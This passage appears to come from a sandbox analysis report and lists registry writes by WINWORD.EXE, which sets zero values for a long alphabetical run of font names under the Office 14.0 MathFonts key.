type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN YGODIC 230"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN YGODIC 240"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN YGODIC 250"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN YHEAD B"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN YHEAD L"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAAN YHEAD M"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAANSOFT BATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAANSOFT DOTUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HAETTENSCHWEILER"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HARLOW SOLID ITALIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HARRINGTON"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HCR BATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HCR BATANG EXT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HCR BATANG EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HCR DOTUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HCR DOTUM EXT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HIGH TOWER TEXT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HOBO BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYBDAL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYBDAM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYBSRB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYCYSM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYDNKB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYDNKM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYGPRM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYGSRB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYGTRE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYHAESEO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYHWPEQ"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYKANB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYKANM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYMJRE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYMPRL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYNAMB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYNAML"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYNAMM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYPORM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYSANB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYSNRL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYSUPB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYSUPM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYTBRB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYWULB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "HYWULM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "IMPACT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "IMPRINT MT SHADOW"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "INFORMAL ROMAN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "IRISUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ISKOOLA POTA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "JASMINEUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "JOKERMAN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "JUICE ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "KAITI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "KALINGA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "KARTIKA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "KHMER UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "KODCHIANGUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "KOKILA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "KRISTEN ITC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "KUNSTLER SCRIPT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LAO UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LATHA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LEELAWADEE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LEVENIM MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LIBERTY BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LILYUPC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LUCIDA BRIGHT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LUCIDA CALLIGRAPHY"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LUCIDA CONSOLE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LUCIDA FAX"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LUCIDA HANDWRITING"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LUCIDA SANS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LUCIDA SANS TYPEWRITER"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "LUCIDA SANS UNICODE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MAGNETO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MAIANDRA GD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MALGUN GOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MANGAL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MARLETT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MATURA MT SCRIPT CAPITALS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MBATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MDALONG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MDART"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MDEASOP"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MDGAESUNG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MDOTUM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MDSOL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MEIRYO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MEIRYO UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MGUNGHEULIM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MGUNGJEONG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MHUNMIN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT HIMALAYA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT JHENGHEI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT JHENGHEI UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT NEW TAI LUE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT PHAGSPA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT SANS SERIF"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT TAI LE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT UIGHUR"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT YAHEI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT YAHEI UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MICROSOFT YI BAITI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MINGLIU"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MINGLIU_HKSCS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MINGLIU_HKSCS-EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MINGLIU-EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MIRIAM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MIRIAM FIXED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MISTRAL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MJEMOKBATANG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MJEMOKGOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MODERN NO. 20"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MONGOLIAN BAITI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MONOTYPE CORSIVA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MOOLBORAN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MS GOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MS MINCHO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MS OUTLOOK"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MS PGOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MS PMINCHO"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MS REFERENCE SANS SERIF"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MS REFERENCE SPECIALTY"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MS UI GOTHIC"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MSUGIHEULIM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MSUGIJEONG"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MT EXTRA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MURRAYHILL BD BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "MV BOLI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "NARKISIM"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "NEWJUMJA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "NEWTEXT BK BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "NIAGARA ENGRAVED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "NIAGARA SOLID"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "NIRMALA UI"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "NSIMSUN"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "NYALA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "OCR A EXTENDED"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "OCR-A BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "OCR-B-10 BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "OLD ENGLISH TEXT MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ONYX"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ORATOR10 BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "ORBIT-B BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PALACE SCRIPT MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PALATINO LINOTYPE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PAPYRUS"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PARCHMENT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PARKAVENUE BT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PERPETUA"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PERPETUA TITLING MT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PLANTAGENET CHEROKEE"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PLAYBILL"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PMINGLIU"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "PMINGLIU-EXTB"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\MATHFONTS"; Key: "POOR RICHARD"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: 